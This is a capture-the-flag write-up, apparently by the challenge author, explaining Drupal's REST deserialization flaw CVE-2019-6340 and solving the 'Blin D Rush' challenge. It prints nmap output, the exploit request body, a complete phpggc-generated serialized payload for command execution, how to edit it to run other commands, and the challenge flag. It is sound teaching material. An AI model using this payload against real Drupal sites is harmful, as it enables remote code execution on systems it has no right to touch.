Not so Blin D Rush CVE-2019-6340

Hi Everyone,

It’s been a while since I posted. Hope you all are safe and sound.

Winja CTF is a Capture the Flag contest , hosted by Nullcon International Conference , where I created several challenges.

One of the challenge that got left unsolved was Blin D rush

Sorry if I put too much rabbit-holes (〒▽〒) . For the people looking for solution you can skip to challenge solution.

It revolved around the CVE-20196340 which is Drupal’s REST Module Remote Code Execution vulnerability. We’ll look into the cause of this vulnerability in this post and also the solution for the challenge ;)

For my other challenges JustWinThis and MD20 You can refer already posted writeups by participants

The CVE

In short the Remote Code Execution happens due to insecure deserialization done by the REST API

Insecure Deserialization

In order to understand Insecure deserialization first understand what is serialization-deserialization.

Serialization is when an application/system takes an object and stores it in the stream of bytes and Deserialization is the reverse process i.e. converting stream of bytes into objects.

Source : https://portswigger.net/web-security/deserialization

Insecure deserialization happens when an user controllable data gets deserialized , especially if it’s in binary. In this case the REST API node endpoint of Drupal deserialises data directly from the User.

Affected Versions : Drupal Versions < 8.6.9

Cause : Happens when REST Api , HAL and Serialization is enabled. So an attacker has to send a REST request with a serialized property , like the “options” value.

Patch : Most Forums tell disabling POST, PATCH request as a remediation but this vulnerability can be exploited even through a GET request. Apart from that updating to the latest version of Drupal and disabling unnecessary API exposure could also prevent this.

Challenge Solution

By visiting the challenge URL we see a post made by user optimusprime . However a quick look at the favicon suggests it is running on Drupal.

Blog Post by Optimus Prime

A quick nmap banner grabbing or view source tells us that it is running Drupal 8

nmap -p 80 -T4 -A hostStarting Nmap 7.80 ( https://nmap.org ) at DATE IST
Nmap scan report for host
Host is up (0.000058s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Unix))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.41 (Unix)
|_http-title: Home | Cybertron
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 0 hops
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.92 seconds

We can try and visit the blog post and the URL is website.com/node/1

In order to check whether it satisfies the preconditions for the CVE-2019–6340 We can check if the REST api is enabled and HAL is supported

We can try visiting website.com/node/1?_format=hal_json and we can observe it gives us the response.

Now we can run the exploit :

OR

We can use phpggc to generate a serialized payload to exploit

In order to exploit it manually we need to send JSON body as follows to the /node/1 endpoint with Conten-Type: application/hal+json

{
"link": [
{
"value": "link",
"options": "<SERIALIZED_CONTENT>"
}
],
"_links": {
"type": {
"href": "http://website.com/rest/type/shortcut/default"
}
}
}

The serialized content can be generated by using phpggc

phpggc guzzle/rce1 system id --jsonO:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}

We can look at the end of the response that our exploit was successful

The function unserialize() gets triggered code is executed

Now we can try to list the root directory and see if we can get something , We can generate the payload again for “ls” command but observing the pattern we can see all we have to give is the size of the string i.e. length of the whole remote command to be executed , so we can directly edit the serialized content.

We can replace

s:2:\”id\”

with

s:4:\”ls /\”

Because the length of “ls /” would be 4 , and we can send the request now and see that we can list the directory.

Contents of / directory

Likewise we can now try to print the flag by running “cat /flag.txt” and that gives us our flag .

flag{blindrush_s@m_witwicky_is_0ur_l@st_h0p3}

Thanks for reading! :)

Security Enthusiast | A Web App Developer Sometimes